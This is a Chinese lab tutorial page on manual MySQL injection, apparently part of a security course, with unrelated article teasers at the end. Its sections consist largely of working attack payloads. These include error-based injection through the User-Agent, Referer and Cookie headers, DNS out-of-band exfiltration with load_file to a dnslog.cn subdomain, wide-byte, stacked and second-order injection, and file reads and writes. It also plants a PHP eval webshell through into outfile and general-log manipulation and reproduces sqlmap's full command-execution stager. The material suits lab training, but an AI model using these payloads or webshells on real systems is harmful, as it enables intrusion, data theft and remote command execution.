网络安全进阶学习第十一课——MySQL手工注入(2)

news2025/1/16 20:13:58

文章目录

  • 一、UA注入
    • 1、原理
    • 2、靶场演示:
      • 1)一旦页面出现如下现状,就可以使用UA注入
      • 2)BP抓包
      • 3)修改User-Agent
  • 二、referer注入
    • 1、原理
    • 2、靶场演示:
      • 1)使用BP抓包
      • 2)修改Referer
  • 三、DNSLOG外带
    • 1、使用场景
    • 2、DNS
    • 3、注入所需条件
    • 4、使用方法
    • 5、靶场演示:
      • 1)生成一个DNS域名
      • 2)开启MySQL中的secure_file_priv属性
      • 3)使用BP进行操作
      • 4)为什么要对查询的内容进行hex编码
  • 四、cookie注入
    • 1、注入的原理
    • 2、靶场演示:
      • 1)通过BP抓包下面的情况就存在cookie注入
      • 2)寻找注入点,使用单引号测试
      • 3)构造POC注入
  • 五、宽字节注入
    • 1、注入原理
    • 2、靶场演示:
      • 1)下面这种情况就存在宽字节注入
      • 2)构造POC注入
  • 六、堆叠注入
    • 1、注入原理
    • 2、联合注入和堆叠注入的区别
    • 3、靶场模拟:
  • 七、二次注入
    • 1、注入原理
    • 2、使用场景
    • 3、靶场举例:
      • 1)下面例子存在二次注入
      • 2)创建一个新的账号
      • 3)修改新账号的密码
      • 4)退出后再次登录查看结果
      • 5)语句讲解:
  • 八、GETSHELL
    • 1、利用SQL注入获取MYSQL数据库权限的条件
    • 2、文件读写注入的原理
    • 3、文件读写注入的条件
    • 4、secure_file_priv选项
    • 5、常见网站的绝对路径
    • 6、路径获取常见方式
    • 7、读取文件
      • 1)使用的函数
      • 2)路径注意点
      • 3)一般使用联合注入来一起使用
      • 4)靶场演示
    • 8、写入文件
      • 1)使用的函数
      • 2)outfile函数注意点
      • 3)靶场演示:
  • 九、日志GETSHELL
    • 1、前提条件:
    • 2、具体步骤:
    • 3、靶场演示(已知存在堆叠注入):
      • 1)先查看靶场是否开启了日志:
      • 2)使用堆叠注入开启日志
      • 3)使用堆叠注入修改日志的路径
  • 十、--os-shell(sqlmap)
    • 1、原理
    • 2、利用--os-shell命令的先决条件
    • 3、靶场演示:
      • 3.1、用来执行系统命令文件
      • 3.2、上传文件的文件


一、UA注入

UA是用户代理(User-Agent)的缩写,里面含有客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

1、原理

一些网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面,因此可能造成某些页面无法在某个浏览器中正常显示。此时就有可能存在UA 头注入,一般会把数据插入到某张表中所以可以用报错注入
在这里插入图片描述

2、靶场演示:

1)一旦页面出现如下现状,就可以使用UA注入

在这里插入图片描述
页面上会对浏览器的版本进行辨别

2)BP抓包

正常情况
在这里插入图片描述

在UA添加单引号,引发报错
在这里插入图片描述

3)修改User-Agent

构造的POC,获取数据库名:
1' and updatexml(1,concat(0x7e,database()),1) and '
在这里插入图片描述
由于不知道是多少个参数,所以前面的单引号是用来闭合前面的,后面的单引号是用来闭合后面的,这里不能使用#来对后面的参数进行省略。

后续获取其他数据的方法和上一节的联合注入大同小异。


二、referer注入

1、原理

报文中referer就是你的浏览器需要告诉服务器你是从哪个地方访问服务器的(来源),大部分网站或者app都会写入数据库用来分析量从哪里来,以及统计广告投入的成本,一般会把数据插入到某张表中所以可以用报错注入
在这里插入图片描述

2、靶场演示:

在这里插入图片描述
这个靶场会记录来源的IP地址

1)使用BP抓包

正确输入的包
在这里插入图片描述

发生报错的数据包
在这里插入图片描述

2)修改Referer

构造的POC,获取数据库名:
’ and updatexml(1,concat(0x7e,database()),1) and ’
在这里插入图片描述

由于不知道是多少个参数,所以前面的单引号是用来闭合前面的,后面的单引号是用来闭合后面的,这里不能使用 # 来对后面的参数进行省略。

后续获取其他数据的方法和上一节的联合注入大同小异。


三、DNSLOG外带

1、使用场景

通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。

我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

2、DNS

dns在解析的时候会留下记录。
简单来说,当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息。
在这里插入图片描述

3、注入所需条件

  • 1、dns带外查询属于MySQL注入,在MySQL中有个系统属性
    secure_file_priv特性,该属性值必须为空(等于号后面没有任何内容)。

  • 2、使用LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
    语法为:load_file(file_name),其中file_name是文件的完整路径

  • 3、所以需要root权限,并且服务器要为Windows操作系统

4、使用方法

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

5、靶场演示:

1)生成一个DNS域名

先在DNSlog平台上随机生成一个本地IP的DNS域名:
29lrdw.dnslog.cn
在这里插入图片描述

本地ping一下该DNS域名的随机子域名:
在这里插入图片描述

这里我随机输入的asd就成功带出来了。
在这里插入图片描述

2)开启MySQL中的secure_file_priv属性

在这里插入图片描述
在这里插入图片描述
然后重启MySQL

3)使用BP进行操作

利用注入语句获取数据库名,使用的POC:
http:// 192.168.50.137:9006/Less-1/?id=1'+and+(select+load_file(concat('\\\\',(select+database()),'.29lrdw.dnslog.cn/qwe')))--+
在这里插入图片描述

返回DNSLOG页面查看
在这里插入图片描述
这里就把数据库名给带出来了

获取当前用户名,使用的POC:
http:// 192.168.50.137:9006/Less-1/?id=1'+and+(select+load_file(concat('\\\\',(select+ hex(user())),'.29lrdw.dnslog.cn/qwe')))--+
在这里插入图片描述

返回DNSLOG页面查看
在这里插入图片描述

使用hex解码
在这里插入图片描述

这样字就成功获得当前的用户名了。

4)为什么要对查询的内容进行hex编码

如果我们要查询的用户名中存在特殊字符:如!@#$%^&。最后在请求DNS服务器时变成:!@#$%^&*. 29lrdw.dnslog.cn。存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。因此需要编码后进行查询,例如上述的用户名是root@localhost,存在特殊字符@,这个是无法DNS服务器是无法解析的,这就需要hex编码后查询出结果再解码。

在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后再带入查询。


四、cookie注入

1、注入的原理

对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数。
在这里插入图片描述
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数以cookie方式提交,而一般的注入我们是使用get或者post方式提交。
(get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。)

cookie注入:修改自身cookie , 后台获取到这个cookie后 , 会直接拿去数据库里面进行比较 , 比较的时候就有可能注入。
注意:该注入一般可以联合XSS攻击一起使用

2、靶场演示:

1)通过BP抓包下面的情况就存在cookie注入

在这里插入图片描述

2)寻找注入点,使用单引号测试

在这里插入图片描述
在cookie后面的admin添加一个单引号出现报错,那么,这里就存在注入

3)构造POC注入

Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),1) #
在这里插入图片描述
注意上面的POC是使用#来忽略后面的内容,而不是使用 - -


五、宽字节注入

1、注入原理

数据库使用GBK编码的时候,会将两个字符合并成一个中文。特殊值字符如单引号都会被转义。如: ' -> \' (%27 -> %5c%27)
这时我们就可以在单引号( ' )前面添加一个随机的GBK编码,例如:%df,该编码会把斜杠( \ )吃掉,从而把后面的单引号( ’ )解放出来,%df%27在GBK编码中会变成%df%5c%27,这时候%df%5c会合并成一个汉字,剩下的%27( ' )就被独立解放出来了。

2、靶场演示:

1)下面这种情况就存在宽字节注入

在这里插入图片描述
添加一个',会自动添加\转义这种方法来进行过滤。

2)构造POC注入

http:// 192.168.43.110:9006/Less-32/?id=-1%df%27 union select 1,database(),user()--+
在这里插入图片描述
这样子就把数据库名和用户名获取到了。

注:这里是假设已经知道了该表只有3列的前提,具体前置过程可以参数前面的联合注入。


六、堆叠注入

1、注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

2、联合注入和堆叠注入的区别

区别就在于union 或者union all执行的语句类型是有限的,联合注入用来执行查询语句,而堆叠注入可以执行的是任意的语句

3、靶场模拟:

如下图构造POC:
http:// 192.168.43.110:9006/ /Less-38/?id=1'; insert into users(id,username,password)values(100,'kkkddd','kkkddd')--+
在这里插入图片描述

接着返回靶场查看数据库
在这里插入图片描述
这样子就把创建用户的MySql命令注入成功了。


七、二次注入

1、注入原理

输入的内容会被转换成字符串形式存储到数据库,从而会使得无法执行。那么我们就可以先把POC存储进数据库,然后把存在数据里面的POC调取出来执行,从而达到注入的效果。

一般情况下,账户名是不允许输入 # @ \ ’ 等特殊符号的,但可以做一个尝试,假如真的尝试出来了,那就可以尝试进行二次注入了。

2、使用场景

在知道某个账号名的存在,而想修改该账号对应的密码。例如我知道存在一个账号叫:admin,然后我就创建一个账号叫:admin'#,同时修改 admin’# 账号的密码,从而达到修改 admin 的密码。

3、靶场举例:

1)下面例子存在二次注入

这里利用admin账号

在这里插入图片描述
正常登录,我返回的数据包长度是265

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
上面无论我在login_user后面添加一个单引号还是两个单引号,或者其他字符,都会发生报错,也就是说输入的内容会全部变换成字符串形式来进行存储、查询。

2)创建一个新的账号

新账号名:admin'#
新账号密码:123456
在这里插入图片描述
在这里插入图片描述
登录成功。

3)修改新账号的密码

账号名:admin'#
新账号密码:111111
在这里插入图片描述

4)退出后再次登录查看结果

尝试登录admin'#账号,发现新改的密码:111111无法登录,还是得使用原来得旧密码123456。

尝试登录admin账号,发现原来的密码:admin无法登录,密码变成了:111111。

5)语句讲解:

这里是使用了下面的SQL语句:
UPDATE users SET PASSWORD=’111111’ where username='admin'#' and password=’123456’;

这里不难看出,调用时#后面的内容时全部忽略的,变成:
UPDATE users SET PASSWORD=’111111’ where username='admin'

原本时修改admin'#账号,就变成修改admin账号了。


八、GETSHELL

1、利用SQL注入获取MYSQL数据库权限的条件

  • 1)root用户最高权限
  • 2)知道网站的绝对路径
  • 3)secure_file_priv=为空或者在网站的根目录下

2、文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

3、文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

4、secure_file_priv选项

  • 1)secure_file_priv=
    代表对文件读写没有限制

  • 2)secure_file_priv=NULL
    代表不能进行文件读写

  • 3)secure_file_priv=d :/phpstudy /mysql/data
    代表只能对该路径下文件进行读写

命令:
show global variables like '%secure%'
#查看mysql全局变量的配置

5、常见网站的绝对路径

  • 1)Windows常见
    在这里插入图片描述

  • 2)Linux常见
    在这里插入图片描述

6、路径获取常见方式

报错显示,遗留文件,漏洞报错,平台配置文件等

7、读取文件

1)使用的函数

使用load_file()读取文件

2)路径注意点

路径不能使用反斜杠(\)。可以使用斜杠(/)双反斜杠(\\)0x,char转换的字符

3)一般使用联合注入来一起使用

4)靶场演示

  • 4.1、在靶机创建文件
    在C:\phpstudy_pro\WWW\sqli-labs-master目录下建立一个文件名1.txt,内容是:i am 1.txt
    在这里插入图片描述

  • 4.2、构造POC读取文件
    在靶场使用SQL注入读取文件,POC是:
    http://192.168.1.104:9006/Less-2/?id=-1 union select 1,load_file('C:/phpstudy_pro/WWW/sqli-labs-master/1.txt'),3–+
    在这里插入图片描述

同理,该方法可以读取到任意的文件。一般实战中我们可以使用这种方法来读取网站的配置文件和日志文件。

注意:上面的路径不能使用反斜杠(\),只能使用斜杠(/)和双反斜杠(\\)。

8、写入文件

1)使用的函数

使用函数 into outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行,且没有脏数据)

2)outfile函数注意点

outfile后面本能接0x开头或者char转换以后的路径,只能是单引号路径

3)靶场演示:

3.1、构造POC写入文件

现在要在C:\phpstudy_pro\WWW\sqli-labs-master目录下创建一个文件3.txt,并写入内容,POC是:
http://192.168.1.104:9006/Less-2/?id=-1 union select 1,‘helloword’,3 into outfile 'C:/phpstudy_pro/WWW/sqli-labs-master/3.txt'--+
在这里插入图片描述

现在去写入目录查看
在这里插入图片描述
这里就把查询的内容全部都写入了。

注意:假如写入的文件名已经存在,是会写入失败的。

3.2、尝试写入shell

构造的POC:
http://192.168.1.104:9006/Less-2/?id=-1 union select 1,'<?php%20@eval($_POST[\'x\']);?>',3 into outfile 'C:/phpstudy_pro/WWW/sqli-labs-master/4.php'--+

使用shell工具尝试连接:
在这里插入图片描述
连接成功。

返回查看写入文件:
在这里插入图片描述

3.3、into outfile 和 into Dumpfile的区别

  • into outfile无论怎样写入都会存在空格等脏数据
  • into Dumpfile会自动清楚空格等脏数据

如上面例子只想留下单纯的php文本,而不想要其他脏文本,就可以使用into Dumpfile,并且把1、3等字符换成‘’(两个单引号的空字符)


九、日志GETSHELL

1、前提条件:

  • 1、知道网站的绝对路径
  • 2、网站存在堆叠注入
  • 3、拥有root权限

2、具体步骤:

  • 1、查询日志路径:show variables like ‘%general%’;
  • 2、开启日志:set global general_log = on; 这个默认时关闭的;
  • 3、设置日志路径:set global general_log_file = ‘D:\phpstudy_pro\WWW\shell.php’;
  • 4、随便把shell命令写入到日志中,然后使用工具连接shell

3、靶场演示(已知存在堆叠注入):

1)先查看靶场是否开启了日志:

show variables like ‘%general%’;
在这里插入图片描述
这里默认是关闭的。

2)使用堆叠注入开启日志

set global general_log = on;
在这里插入图片描述

再返回靶场查看是否已开启:
在这里插入图片描述
这里显示已经开启了。

3)使用堆叠注入修改日志的路径

set global general_log_file = ‘D:\phpstudy_pro\WWW\shell.php’;
在这里插入图片描述

返回靶场查看
在这里插入图片描述
明显日志路径已经改了。

4、随便在URL构造shell让他记录进日志
在这里插入图片描述

返回查看日志
在这里插入图片描述
这样子shell就成功写入到日志里面了。


十、–os-shell(sqlmap)

1、原理

–os-shell就是使用 udf 提权获取WebShell。也是通过 into oufile 向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

此为sqlmap的一个命令

2、利用–os-shell命令的先决条件

  • 1、要求为DBA,–is-dba(phpstudy搭建的一般为DBA)
  • 2、secure_file_priv没有具体值
  • 3、知道网站的绝对路径
  • 4、GPC为off,php主动转义的功能关闭

3、靶场演示:

sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell
在这里插入图片描述

sqlmap 在指定的目录生成了两个文件(文件名是随机的,并不是固定的),这里就生成了如下两个文件:

  • tmpbeewq.php 用来执行系统命令
  • tmpuqvgw.php 用来上传文件

在这里插入图片描述

3.1、用来执行系统命令文件

tmpbeewq.php的文件内容为:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

尝试执行系统命令:
在这里插入图片描述

3.2、上传文件的文件

使用tmpuqvgw.php上传文件

我们上传一个php的一句话后门
在这里插入图片描述


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/829725.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

双比例阀控制器PVC-D2-25A-1X

两路独立工作、PQ独立控制、4/3比例方向阀控制、并联控制、输入指令0到10V输入接口&#xff0c;可切换为0(4)到20mA输入、工作电压DC24V、、、在放大器试运行前&#xff0c;应确保印刷电路板上SW 开关的功能设置符合相应的使用情况。放大器只有在断电后才可接线和改变SW 开关的…

QT - 建立页面

一、生成页面 二、实现 1.LineEdit 是一个单行输入文本框&#xff0c;为用户提供了比较多的编辑功能&#xff0c;例如选择复制、粘贴。 修改echomode属性为password Push Button(常规按钮) 三、程序 声明全局变量&#xff0c;属于MainWindow private: // 定义了一个指向Ma…

【ASP.NET MVC】MYSQL安装配置(4)

一、安装配置 1、下载MYSQL绿色版压缩包&#xff08;略&#xff09; 2、解压到目录&#xff0c;比如E:\mysql目录 3、设置环境变量 添加bin目录到path&#xff0c;方便运行Mysql的命令 先打开系统的《环境变量》配置 双击系统变量中的Path 添加Mysql的BIN目录到path: 4、在…

两个镜头、视野、分辨率不同的相机(rgb、红外)的视野校正

文章目录 背景实际效果查找资料资料1资料2 解决方案最终结果 背景 目前在做的项目用到两个摄像头&#xff0c;一个是热成像摄像头、另一个是普通的rgb摄像头。 一开始的目标是让他们像素级重合&#xff0c;使得点击rgb图像时&#xff0c;即可知道其像素对应的温度。但是在尝试…

GPU 容器虚拟化新能力发布和全场景实践

今天给大家分享的主题是百度智能云在「GPU 容器虚拟化」方面的最新进展和全场景实践&#xff0c;希望通过这次分享和大家一起探讨如何在实际业务场景更好的应用 GPU 容器虚拟化技术。 本次分享将首先介绍百度智能云 GPU 容器虚拟化 2.0 的升级变化&#xff0c;然后介绍新版本中…

pycharm——漏斗图

import pyecharts.options as opts from pyecharts.charts import Funnel""" Gallery 使用 pyecharts 1.1.0 参考地址: https://echarts.apache.org/examples/editor.html?cfunnel目前无法实现的功能:1、暂时无法对漏斗图的长宽等范围操作进行修改 ""…

销售管理怎么做?(企业老板销售负责人必看)

阅读本文您可以了解&#xff1a;1、销售管理的定义&#xff1b;2、销售管理的重要性&#xff1b;2、如何做好销售管理。 大家好&#xff0c;作为一名有着十年销售经验的顾问&#xff0c;今天就和大家聊聊怎么做好销售管理。 一、销售管理的定义 销售管理是一种组织和规划销售…

移动硬盘格式化,一招搞定!

“新买了个移动硬盘&#xff0c;才将一些文件保存进去。今天将移动硬盘与电脑连接后&#xff0c;却提示我只能将它格式化&#xff0c;否则无法使用。这是为什么呢&#xff1f;硬盘格式化怎么操作呢&#xff1f;” 在使用移动硬盘的时候&#xff0c;可能会由于各种原因&#xff…

解决码云gitee或者github出现The requested URL returned error: 403

出现场景 要把某个项目push到码云上&#xff0c;已经设置了仓库地址&#xff0c;在最后一步直接报错。 adodeMacBook-Pro:yimabao ado$ git push --set-upstream origin master remote: [session-774b45b9] Access denied fatal: unable to access https://gitee.com/mzmilk/…

构建vue项目配置和环境配置

目录 1、环境变量process.env配置2、vue package.json多环境配置vue-cli-service serve其他用法vue-cli-service build其他用法vue-cli-service inspect其他用法3、vue导出webpack配置4、配置打包压缩图片文件5、打包去掉多余css(由于依赖问题暂时未实现)6、打包去除console.…

室温超导材料技术

自 1911 年荷兰物理学家海克昂内斯&#xff08;Heike Onnes&#xff09;发现固态汞的超导性之后&#xff0c;超导现象一直都是科学家们的热门研究领域。近年来&#xff0c;关于超导的研究热度更是有增无减&#xff0c;如何实现室温常压超导已经成为物理和材料领域的重要课题。 …

「2024」预备研究生mem-论证推理强化:五大秒杀思路(下)

一、通过第三者建立联系 二、幸存者偏差 三、稀释 四、选修 练习题

导轨安装一路输入两路输出模拟信号隔离分配器0-20mA/0-±10V/0-±100mV/0-±10mA/0-±20mA

概述 导轨安装DIN12 IPO OC系列模拟信号隔离放大器是一种将输入信号隔离放大、转换成按比例输出的直流信号混合集成厚模电路。产品广泛应用在电力、远程监控、仪器仪表、医疗设备、工业自控等需要直流信号隔离测控的行业。此系列产品内部采用了线性光电隔离技术相比电磁隔离具…

Python爬虫—破解JS加密的Cookie

前言 在进行网站数据爬取时&#xff0c;很多网站会使用JS加密来保护Cookie的安全性&#xff0c;而为了防止被网站反爬虫机制识别出来&#xff0c;我们通常需要使用代理IP来隐藏我们的真实IP地址。 本篇文章将介绍如何结合代理IP破解JS加密的Cookie&#xff0c;主要包括以下几个…

复亚智能打造全新云平台:让无人机任务管理更智能、更简单

复亚智能全新升级的MindView云平台&#xff0c;对航线规划、任务管理、自动飞行、数据管理等各个环节开展可视化、数字化、智能化监管&#xff0c;从任务到结果的“看得清”、“管得住”、“查得准”&#xff0c;带来更轻松的操作&#xff0c;改善作业效率、安全保障和用户体验…

Git标签

一、分离头指针 假如我们的代码现在处于第四个节点C4上&#xff0c;我们想要回到第二个节点C2的代码 git switch [节点码前几位] --detach # 回到指定节点 这时我们就能看到通过HEAD指针指向C2节点回到C2节点的代码。 当我们头指针没有指向某个分支的头部时&#xff0c;这种…

4、链表。

哈希表介绍 哈希表的简单介绍 1)哈希表在使用层面上可以理解为一种集合结构 2)如果只有key,没有伴随数据value,可以使用HashSet结构(C++中叫UnOrderedSet) 3)如果既有key,又有伴随数据value,可以使用HashMap结构(C++中叫UnOrderedMap) 4)有无伴随数据,是HashMap和Has…

一个 OpenTiny,Vue2 Vue3 都支持!

大家好&#xff0c;我是 Kagol&#xff0c;OpenTiny 开源社区运营&#xff0c;TinyVue 跨端、跨框架组件库核心贡献者&#xff0c;专注于前端组件库建设和开源社区运营。 今天给大家介绍如何同时在 Vue2 和 Vue3 项目中使用 TinyVue。 TinyVue 是一套跨端、跨框架的企业级 UI…

AI深度学习部署全记录

AI部署流程&#xff0c;以PyTorch为例&#xff1a; 1.Torch.Model->ONNX->ONNXSIM->TensortRT->落地 2.Torch.Model->Pt->ONNX->ONNXRunTime->落地 3.Torch.Model->Pt->Libtorch->落地 4.Torch.Model->PNNX->TensorRT->落地 5.…

途乐证券|七大科技巨头,股价集体下跌!国际油价大跌!这一夜发生了啥?

当地时间周三&#xff0c;受前一天惠誉评级下调美国长时间外币发行人违约评级影响&#xff0c;金融商场危险偏好遭到按捺&#xff0c;全球股票、多数大宗产品等危险资产价格普跌&#xff0c;美国三大股指集体跌落。到收盘&#xff0c;道指跌0.98%&#xff0c;标普500指数跌1.38…